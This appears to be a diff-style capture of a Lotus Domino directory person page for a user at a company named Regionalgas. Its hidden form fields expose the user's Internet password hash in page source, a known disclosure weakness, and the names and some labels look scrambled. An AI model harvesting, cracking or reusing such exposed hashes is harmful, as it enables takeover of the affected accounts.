<font size="2"></font></td></tr>
|
||||
</table>
|
||||
</td><td width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
</table>
|
||||
</td></tr>
|
||||
</table>
|
||||
|
||||
<input name="Type" type="hidden" value="Person">
|
||||
<input name="DisplayName" type="hidden" value="Bdn Alln">
|
||||
<input name="DisplayMailAddress" type="hidden" value="">
|
||||
<input name="$HTMLAttributes" type="hidden" value="">
|
||||
<input name="$dspFirstName" type="hidden" value="Bdn">
|
||||
<input name="$dspMiddleInitial" type="hidden" value="">
|
||||
<input name="$dspLastName" type="hidden" value="Alln">
|
||||
<input name="$dspFullName" type="hidden" value="Bdn Alln">
|
||||
<input name="$dspAltFullName" type="hidden" value="">
|
||||
<input name="$dspAltFullNamePdeyuageDisplay" type="hidden" value="">
|
||||
<input name="$dspShortName" type="hidden" value="Bdn Alln">
|
||||
<input name="$dspTitle" type="hidden" value="">
|
||||
<input name="$dspSuffix" type="hidden" value="">
|
||||
<input name="$dspHTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
|
||||
<input name="$dspMailSystem" type="hidden" value="1">
|
||||
<input name="$dspMailDomain" type="hidden" value="">
|
||||
<input name="$dspMailServer" type="hidden" value="">
|
||||
<input name="$dspMailFile" type="hidden" value="portal/Alln_1.nsf">
|
||||
<input name="$dspCcMailUserName" type="hidden" value="">
|
||||
<input name="$dspMailAddress" type="hidden" value="">
|
||||
<input name="$dspCcMailLocation" type="hidden" value="">
|
||||
<input name="$dspInternetAddress" type="hidden" value="">
|
||||
<input name="$dspMessageStorage" type="hidden" value="1">
|
||||
<input name="$dspEncryptIncomingMail" type="hidden" value="0">
|
||||
<input name="$dspJobTitle" type="hidden" value="">
|
||||
<input name="$dspOfficeStreetAddress" type="hidden" value="">
|
||||
<input name="$dspCompanyName" type="hidden" value="Regionalgas">
|
||||
<input name="$dspOfficeCity" type="hidden" value="">
|
||||
<input name="$dspDepartment" type="hidden" value="">
|
||||
<input name="$dspOfficeState" type="hidden" value="">
|
||||
<input name="$dspEmployeeID" type="hidden" value="">
|
||||
<input name="$dspOfficeZIP" type="hidden" value="">
|
||||
<input name="$dspLocation" type="hidden" value="">
|
||||
<input name="$dspOfficeCountry" type="hidden" value="">
|
||||
<input name="$dspManager" type="hidden" value="">
|
||||
<input name="$dspOfficeNumber" type="hidden" value="">
|
||||
<input name="$dspOfficePhoneNumber" type="hidden" value="">
|
||||
<input name="$dspOfficeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspCellPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspPhoneNumber_6" type="hidden" value="">
|
||||
<input name="$dspAssistant" type="hidden" value="">
|
||||
<input name="$dspStreetAddress" type="hidden" value="">
|
||||
<input name="$dspCity" type="hidden" value="">
|
||||
<input name="$dspState" type="hidden" value="">
|
||||
<input name="$dspZip" type="hidden" value="">
|
||||
<input name="$dspCountry" type="hidden" value="">
|
||||
<input name="$dspPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspHomeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspSpouse" type="hidden" value="">
|
||||
<input name="$dspChildren" type="hidden" value="">
|
||||
<input name="$dspPersonalID" type="hidden" value="">
|
||||
<input name="$dspLevel0" type="hidden" value="">
|
||||
<input name="$dspLevel0_1" type="hidden" value="">
|
||||
<input name="$dspLevel0_2" type="hidden" value="">
|
||||
<input name="$dspLevel0_3" type="hidden" value="">
|
||||
<input name="$dspLevel1" type="hidden" value="">
|
||||
<input name="$dspLevel1_1" type="hidden" value="">
|
||||
<input name="$dspLevel1_2" type="hidden" value="">
|
||||
<input name="$dspLevel1_3" type="hidden" value="">
|
||||
<input name="$dspLevel2" type="hidden" value="">
|
||||
<input name="$dspLevel2_1" type="hidden" value="">
|
||||
<input name="$dspLevel2_2" type="hidden" value="">
|
||||
<input name="$dspLevel2_3" type="hidden" value="">
|
||||
<input name="$dspLevel3" type="hidden" value="">
|
||||
<input name="$dspLevel3_1" type="hidden" value="">
|
||||
<input name="$dspLevel3_2" type="hidden" value="">
|
||||
<input name="$dspLevel3_3" type="hidden" value="">
|
||||
<input name="$dspLevel4" type="hidden" value="">
|
||||
<input name="$dspLevel4_1" type="hidden" value="">
|
||||
<input name="$dspLevel4_2" type="hidden" value="">
|
||||
<input name="$dspLevel4_3" type="hidden" value="">
|
||||
<input name="$dspLevel5" type="hidden" value="">
|
||||
<input name="$dspLevel5_1" type="hidden" value="">
|
||||
<input name="$dspLevel5_2" type="hidden" value="">
|
||||
<input name="$dspLevel5_3" type="hidden" value="">
|
||||
<input name="$dspLevel6" type="hidden" value="">
|
||||
<input name="$dspLevel6_1" type="hidden" value="">
|
||||
<input name="$dspLevel6_2" type="hidden" value="">
|
||||
<input name="$dspLevel6_3" type="hidden" value="">
|
||||
<input name="$dspComment" type="hidden" value="">
|
||||
<input name="$dspx400Address" type="hidden" value="">
|
||||
<input name="$dspCalendarDomain" type="hidden" value="">
|
||||
<input name="$dspWebSite" type="hidden" value="">
|
||||
<input name="$dspAltFullNameSort" type="hidden" value="">
|
||||
<input name="$dspCertificate" type="hidden" value="">
|
||||
<input name="$dspUserCertificateDisplay" type="hidden" value="0">
|
||||
<input name="$dspX509Issuers" type="hidden" value="">
|
||||
<input name="$dspPublicKey" type="hidden" value="">
|
||||
<input name="$dspOwner" type="hidden" value="">
|
||||
<input name="$dspClientType" type="hidden" value="">
|
||||
<input name="$dspLocalAdmin" type="hidden" value="">
|
||||
<input name="$dspProfiles" type="hidden" value="">
|
||||
<input name="$dspCheckPassword" type="hidden" value="0">
|
||||
<input name="$dspAvailableForDirSync" type="hidden" value="1">
|
||||
<input name="$dspPasswordChangeInterval" type="hidden" value="0">
|
||||
<input name="$dspNetUserName" type="hidden" value="">
|
||||
<input name="$dspPasswordGracePeriod" type="hidden" value="0">
|
||||
<input name="$dspSametimeServer" type="hidden" value="">
|
||||
<input name="$dspPasswordChangeDate" type="hidden" value="">
|
||||
<input name="$dspPasswordDigest" type="hidden" value="">
|
||||
<input name="$dspDisplayChangeRequest" type="hidden" value="None">
|
||||
<input name="FirstName" type="hidden" value="Bdn">
|
||||
<input name="MiddleInitial" type="hidden" value="">
|
||||
<input name="LastName" type="hidden" value="Alln">
|
||||
<input name="FullName" type="hidden" value="Bdn Alln">
|
||||
<input name="AltFullName" type="hidden" value="">
|
||||
<input name="AltFullNamePdeyuage" type="hidden" value="">
|
||||
<input name="AltFullNamePdeyuageDisplay" type="hidden" value="">
|
||||
<input name="ShortName" type="hidden" value="Bdn Alln">
|
||||
<input name="Title" type="hidden" value="">
|
||||
<input name="Suffix" type="hidden" value="">
|
||||
<input name="HTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
|
||||
<input name="dspHTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
|
||||
<input name="preferredPdeyuage" type="hidden" value="">
|
||||
<input name="MailSystem" type="hidden" value="1">
|
||||
<input name="MailDomain" type="hidden" value="">
|
||||
<input name="MailServer" type="hidden" value="">
|
||||
<input name="MailFile" type="hidden" value="portal/Alln_1.nsf">
|
||||
<input name="ccMailUserName" type="hidden" value="">
|
||||
<input name="MailAddress" type="hidden" value="">
|
||||
<input name="ccMailLocation" type="hidden" value="">
|
||||
<input name="InternetAddress" type="hidden" value="">
|
||||
<input name="MessageStorage" type="hidden" value="1">
|
||||
<input name="EncryptIncomingMail" type="hidden" value="0">
|
||||
<input name="SametimeServer" type="hidden" value="">
|
||||
<input name="JobTitle" type="hidden" value="">
|
||||
<input name="CompanyName" type="hidden" value="Regionalgas">
|
||||
<input name="Department" type="hidden" value="">
|
||||
<input name="EmployeeID" type="hidden" value="">
|
||||
<input name="Location" type="hidden" value="">
|
||||
<input name="Manager" type="hidden" value="">
|
||||
<input name="OfficePhoneNumber" type="hidden" value="">
|
||||
<input name="OfficeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="CellPhoneNumber" type="hidden" value="">
|
||||
<input name="PhoneNumber_6" type="hidden" value="">
|
||||
<input name="Assistant" type="hidden" value="">
|
||||
<input name="OfficeStreetAddress" type="hidden" value="">
|
||||
<input name="OfficeCity" type="hidden" value="">
|
||||
<input name="OfficeState" type="hidden" value="">
|
||||
<input name="OfficeZIP" type="hidden" value="">
|
||||
<input name="OfficeCountry" type="hidden" value="">
|
||||
<input name="OfficeNumber" type="hidden" value="">
|
||||
<input name="StreetAddress" type="hidden" value="">
|
||||
<input name="City" type="hidden" value="">
|
||||
<input name="State" type="hidden" value="">
|
||||
<input name="Zip" type="hidden" value="">
|
||||
<input name="Country" type="hidden" value="">
|
||||
<input name="PhoneNumber" type="hidden" value="">
|
||||
<input name="HomeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="Spouse" type="hidden" value="">
|
||||
<input name="Children" type="hidden" value="">
|
||||
<input name="PersonalID" type="hidden" value="">
|
||||
<input name="Level0" type="hidden" value="">
|
||||
<input name="Level0_1" type="hidden" value="">
|
||||
<input name="Level0_2" type="hidden" value="">
|
||||
<input name="Level0_3" type="hidden" value="">
|
||||
<input name="Level1" type="hidden" value="">
|
||||
<input name="Level1_1" type="hidden" value="">
|
||||
<input name="Level1_2" type="hidden" value="">
|
||||
<input name="Level1_3" type="hidden" value="">
|
||||
<input name="Level2" type="hidden" value="">
|
||||
<input name="Level2_1" type="hidden" value="">
|
||||
<input name="Level2_2" type="hidden" value="">
|
||||
<input name="Level2_3" type="hidden" value="">
|
||||
<input name="Level3" type="hidden" value="">
|
||||
<input name="Level3_1" type="hidden" value="">
|
||||
<input name="Level3_2" type="hidden" value="">
|
||||
<input name="Level3_3" type="hidden" value="">
|
||||
<input name="Level4" type="hidden" value="">
|
||||
<input name="Level4_1" type="hidden" value="">
|
||||
<input name="Level4_2" type="hidden" value="">
|
||||
<input name="Level4_3" type="hidden" value="">
|
||||
<input name="Level5" type="hidden" value="">
|
||||
<input name="Level5_1" type="hidden" value="">
|
||||
<input name="Level5_2" type="hidden" value="">
|
||||
<input name="Level5_3" type="hidden" value="">
|
||||
<input name="Level6" type="hidden" value="">
|
||||
<input name="Level6_1" type="hidden" value="">
|
||||
<input name="Level6_2" type="hidden" value="">
|
||||
<input name="Level6_3" type="hidden" value="">
|
||||
<input name="Comment" type="hidden" value="">
|
||||
<input name="x400Address" type="hidden" value="">
|
||||
<input name="CalendarDomain" type="hidden" value="">
|
||||
<input name="WebSite" type="hidden" value="">
|
||||
<input name="PhotoURL" type="hidden" value="">
|
||||
<input name="AltFullNameSort" type="hidden" value="">
|
||||
<input name="CertificateDisplay" type="hidden" value="0">
|
||||
<input name="Certificate" type="hidden" value="">
|
||||
<input name="ChangeRequest" type="hidden" value="">
|
||||
<input name="UserCertificateDisplay" type="hidden" value="0">
|
||||
<input name="X509Issuers" type="hidden" value="">
|
||||
<input name="PublicKey" type="hidden" value="">
|
||||
<input name="RoamingUser" type="hidden" value="0">
|
||||
<input name="RoamSrvr" type="hidden" value="">
|
||||
<input name="RoamRplSrvrs" type="hidden" value="">
|
||||
<input name="RoamSubdir" type="hidden" value="">
|
||||
<input name="RoamAB" type="hidden" value="">
|
||||
<input name="BkmksFile" type="hidden" value="">
|
||||
<input name="JrnlFile" type="hidden" value="">
|
||||
<input name="RoamExtFiles" type="hidden" value="">
|
||||
<input name="RoamMode" type="hidden" value="">
|
||||
<input name="RoamCleanSetting" type="hidden" value="0">
|
||||
<input name="RoamCleanSettingDsp" type="hidden" value="Do not clean-up">
|
||||
<input name="RoamCleanPer" type="hidden" value="1">
|
||||
<input name="Owner" type="hidden" value="">
|
||||
<input name="LocalAdmin" type="hidden" value="">
|
||||
<input name="AvailableForDirSync" type="hidden" value="1">
|
||||
<input name="LastMod" type="hidden" value="05/11/2017 08:22:13 AM CRM Portal/EUS/GVE">
|
||||
<input name="CheckPassword" type="hidden" value="0">
|
||||
<input name="PasswordChangeInterval" type="hidden" value="0">
|
||||
<input name="PasswordGracePeriod" type="hidden" value="0">
|
||||
<input name="PasswordChangeDate" type="hidden" value="">
|
||||
<input name="PasswordDigest" type="hidden" value="">
|
||||
<input name="HTTPPasswordChangeDate" type="hidden" value="">
|
||||
<input name="HTTPPasswordForceChange" type="hidden" value="1">
|
||||
<input name="DispPolicy" type="hidden" value="">
|
||||
<input name="Policy" type="hidden" value="">
|
||||
<input name="Profiles" type="hidden" value="">
|
||||
<input name="DisplayChangeRequest" type="hidden" value="None">
|
||||
<input name="NetUserName" type="hidden" value="">
|
||||
<input name="LTPA_UsrNm" type="hidden" value="">
|
||||
<input name="DB2UserName" type="hidden" value="">
|
||||
<input name="krbPrincipalName" type="hidden" value="">
|
||||
<input name="ClientType" type="hidden" value="">
|
||||
<input name="ClntMachine" type="hidden" value="">
|
||||
<input name="ClntBld" type="hidden" value="">
|
||||
<input name="ClntPltfrm" type="hidden" value="">
|
||||
<input name="ClntDate" type="hidden" value="">
|
||||
<input name="DocumentAccess" type="hidden" value="[UserModifier]">
|
||||
<input name="tmpNow" type="hidden" value="04/29/2022 04:17 PM CEDT">
|
||||
<input name="$CryptoCap" type="hidden" value="0">
|
||||
<input name="$Person_Main" type="hidden" value="0">
|
||||
<input name="$Person_Detail" type="hidden" value="0">
|
||||
<input name="$Person_Cert" type="hidden" value="0">
|
||||
<input name="$dspTTControl" type="hidden" value="">
|
||||
<input name="ibm_bhMailInfo" type="hidden" value="">
|
||||
<input name="OU" type="hidden" value="">
|
||||
<input name="PostalAddress" type="hidden" value="">
|
||||
<input name="HomePostalAddress" type="hidden" value="">
|
||||
<input name="Street" type="hidden" value="">
|
||||
<input name="businessCategory" type="hidden" value="">
|
||||
<input name="carLicense" type="hidden" value="">
|
||||
<input name="departmentNumber" type="hidden" value="">
|
||||
<input name="employeeNumber" type="hidden" value="">
|
||||
<input name="employeeType" type="hidden" value="">
|
||||
<input name="initials" type="hidden" value="">
|
||||
<input name="labeledURI" type="hidden" value="">
|
||||
<input name="o" type="hidden" value="">
|
||||
<input name="roomNumber" type="hidden" value="">
|
||||
<input name="UserCertificate" type="hidden" value="">
|
||||
@@ -0,0 +1,498 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Bdn Alln</title><meta http-equiv='expires' content='0'>
|
||||
<link rel=stylesheet type='text/css' href='/names.nsf/cssForm?ReadForm'>
|
||||
<script>
|
||||
var sElementType = 'document';
|
||||
var sDocType = 'person';
|
||||
var sDBFileName = 'names.nsf';
|
||||
var sDocUNID = '9B3aaFA7a1A1bC54d798dB7afA5721E5';
|
||||
var sDefaultView = 'People';
|
||||
var sWebDbName = '/names.nsf/';
|
||||
var isDom6 = true;
|
||||
</script><script src='/names.nsf/WebJSTools?OpenJavaScriptLibrary'></script>
|
||||
<script src='/names.nsf/WebJSNavigationTools?OpenJavaScriptLibrary'></script>
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
<!--
|
||||
// ignore if not Domino 6
|
||||
if (navigator.appCodeName != 'Domino') {
|
||||
if (isDom6) {
|
||||
var hDlgListboxPolicy = new cDlgListbox('Single')
|
||||
}
|
||||
}
|
||||
// -->
|
||||
</script>
|
||||
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
<!--
|
||||
document._domino_target = "_self";
|
||||
function _doClick(v, o, t) {
|
||||
var returnValue = false;
|
||||
var url="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&Click=" + v;
|
||||
if (o.href != null) {
|
||||
o.href = url;
|
||||
returnValue = true;
|
||||
} else {
|
||||
if (t == null)
|
||||
t = document._domino_target;
|
||||
window.open(url, t);
|
||||
}
|
||||
return returnValue;
|
||||
}
|
||||
// -->
|
||||
</script>
|
||||
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
<!--
|
||||
function Action1_onClick() {
|
||||
ntEditDoc('[UserModifier]')
|
||||
}
|
||||
|
||||
function Action2_onClick() {
|
||||
ntCancel()
|
||||
}
|
||||
|
||||
function Action(href,oc,t) { this.href = href; this.onClick = oc; this.target = t; }
|
||||
|
||||
var dominoActions = new Array();
|
||||
dominoActions[1] = new Action(null,Action1_onClick,'_self');
|
||||
dominoActions[2] = new Action(null,Action2_onClick,'_self');
|
||||
function doAction(n) {
|
||||
var action = dominoActions[n];
|
||||
if (action.href)
|
||||
window.open(action.href,action.target);
|
||||
else if (action.onClick) {
|
||||
currentTarget = document._domino_target;
|
||||
document._domino_target = action.target;
|
||||
action.onClick();
|
||||
document._domino_target = currentTarget;
|
||||
}}
|
||||
// -->
|
||||
</script>
|
||||
</head>
|
||||
<body text="#000000" bgcolor="#FFFFFF" topmargin=0 leftmargin=0 marginheight=0 marginwidth=0>
|
||||
|
||||
<form onsubmit="// ignore if not Domino 6
|
||||
if (navigator.appCodeName != 'Domino') {
|
||||
if (isDom6) {
|
||||
syncFields(document.forms[0], 'Certificate')
|
||||
}
|
||||
}
|
||||
return true;" action="">
|
||||
<applet name="dominoActionBar" code="lotus.notes.apps.actionbar.ActionBar.class" codebase="/domjava" archive="actionbar.jar" alt="Aktionsleiste" width="100%" height="38" mayscript>
|
||||
<param name="cabbase" value="actionbar.cab">
|
||||
<param name="BGColor" value="#B1B1D2">
|
||||
<param name="ButtonBGColor" value="#B1B1D2">
|
||||
<param name="BorderColor" value="#000000">
|
||||
<param name="ButtonTransparent" value="1">
|
||||
<param name="ButtonBorderStyle" value="ONMOUSEOVER">
|
||||
<param name="BorderStyle" value="1">
|
||||
<param name="BorderWidth" value="0,3,0,0">
|
||||
<param name="InnerWidth" value="0,0,0,0">
|
||||
<param name="OuterWidth" value="0,0,0,0">
|
||||
<param name="ShowHinkyAlways" value="1">
|
||||
<param name="ButtonHeightType" value="DEFAULT">
|
||||
<param name="ButtonHeight" value="8">
|
||||
<param name="ButtonWidthType" value="DEFAULT">
|
||||
<param name="ButtonWidth" value="0">
|
||||
<param name="ButtonTextJustify" value="3">
|
||||
<param name="FontName" value="Helvetica">
|
||||
<param name="FontSize" value="9">
|
||||
<param name="FontStyle" value="P">
|
||||
<param name="TextColor" value="#000000">
|
||||
<param name="Action1" value="Edit Person,/names.nsf/btnEdit.gif?OpenImageResource,1,0,1,1,0,0">
|
||||
<param name="Action2" value="Cancel,/names.nsf/btnCancel.gif?OpenImageResource,2,0,1,1,0,0">
|
||||
<param name="NumActions" value="2">
|
||||
</applet>
|
||||
|
||||
<table cellpadding=10 width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td style="background-image:url(/names.nsf/people?OpenImageResource); background-repeat: repeat-x; " width="100%"><font size="5" color="#424282">Person</font><font size="5" color="#424282">: </font><b><font size="5" color="#424282">Bdn Alln</font></b><font size="5" color="#424282"> </font><font size="5" color="#424282"> </font><b><font color="#424282"></font></b></td></tr>
|
||||
</table>
|
||||
|
||||
<table border="0" cellspacing="2">
|
||||
<tr><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><b>Basics</b></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.1#12." target="_self">Work/Home</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.2#12." target="_self">Other</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.3#12." target="_self">Miscellaneous</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.4#12." target="_self">Certificates</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.5#12." target="_self">Roaming</a></div></td></tr>
|
||||
</table>
|
||||
</td><td>
|
||||
<table border="1" cellpadding="2">
|
||||
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&TableRow=12.8#12." target="_self">Administration</a></div></td></tr>
|
||||
</table>
|
||||
</td></tr>
|
||||
</table>
|
||||
|
||||
<table id="Person_Main" cellpadding=7 width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="100%">
|
||||
<table width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="54%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
|
||||
<table id="Person_Basics" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<b><font size="2" color="#FFFFFF">Basics</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">First name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Bdn</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Middle name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Last name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Alln</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">User name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Bdn Alln</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Alternate name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font>
|
||||
<p><font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Short name/UserID:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Bdn Alln</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Personal title:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Generational qualifier:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Internet password:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Preferred language</font><font size="2">:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
</table>
|
||||
</td><td style="padding-left:10px;" width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td><td width="46%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
|
||||
<table id="Person_Mail" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<b><font size="2" color="#FFFFFF">Mail</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Mail system:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Notes</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Domain:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Mail server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Mail file:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">portal/Alln_1.nsf</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Forwarding address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Internet address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Format preference for incoming mail:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Keep in senders' format</font></td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">When receiving unencrypted mail, encrypt before storing in your mailfile:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">No</font></td></tr>
|
||||
</table>
|
||||
|
||||
<table id="PerSchTable" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
|
||||
<tr valign="top"><td id="PerSchTable_a" width="1%" bgcolor="#B1B1D2" valign="middle"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<b><font size="2" color="#FFFFFF">Collaboration</font></b></td><td id="PerSchTable_b" width="100%" bgcolor="#B1B1D2" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
|
||||
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2">Instant messaging server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
<font size="2"></font></td></tr>
|
||||
</table>
|
||||
</td><td width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
|
||||
</td></tr>
|
||||
</table>
|
||||
</td></tr>
|
||||
</table>
|
||||
|
||||
<input name="Type" type="hidden" value="Person">
|
||||
<input name="DisplayName" type="hidden" value="Bdn Alln">
|
||||
<input name="DisplayMailAddress" type="hidden" value="">
|
||||
<input name="$HTMLAttributes" type="hidden" value="">
|
||||
<input name="$dspFirstName" type="hidden" value="Bdn">
|
||||
<input name="$dspMiddleInitial" type="hidden" value="">
|
||||
<input name="$dspLastName" type="hidden" value="Alln">
|
||||
<input name="$dspFullName" type="hidden" value="Bdn Alln">
|
||||
<input name="$dspAltFullName" type="hidden" value="">
|
||||
<input name="$dspAltFullNamePdeyuageDisplay" type="hidden" value="">
|
||||
<input name="$dspShortName" type="hidden" value="Bdn Alln">
|
||||
<input name="$dspTitle" type="hidden" value="">
|
||||
<input name="$dspSuffix" type="hidden" value="">
|
||||
<input name="$dspMailSystem" type="hidden" value="1">
|
||||
<input name="$dspMailDomain" type="hidden" value="">
|
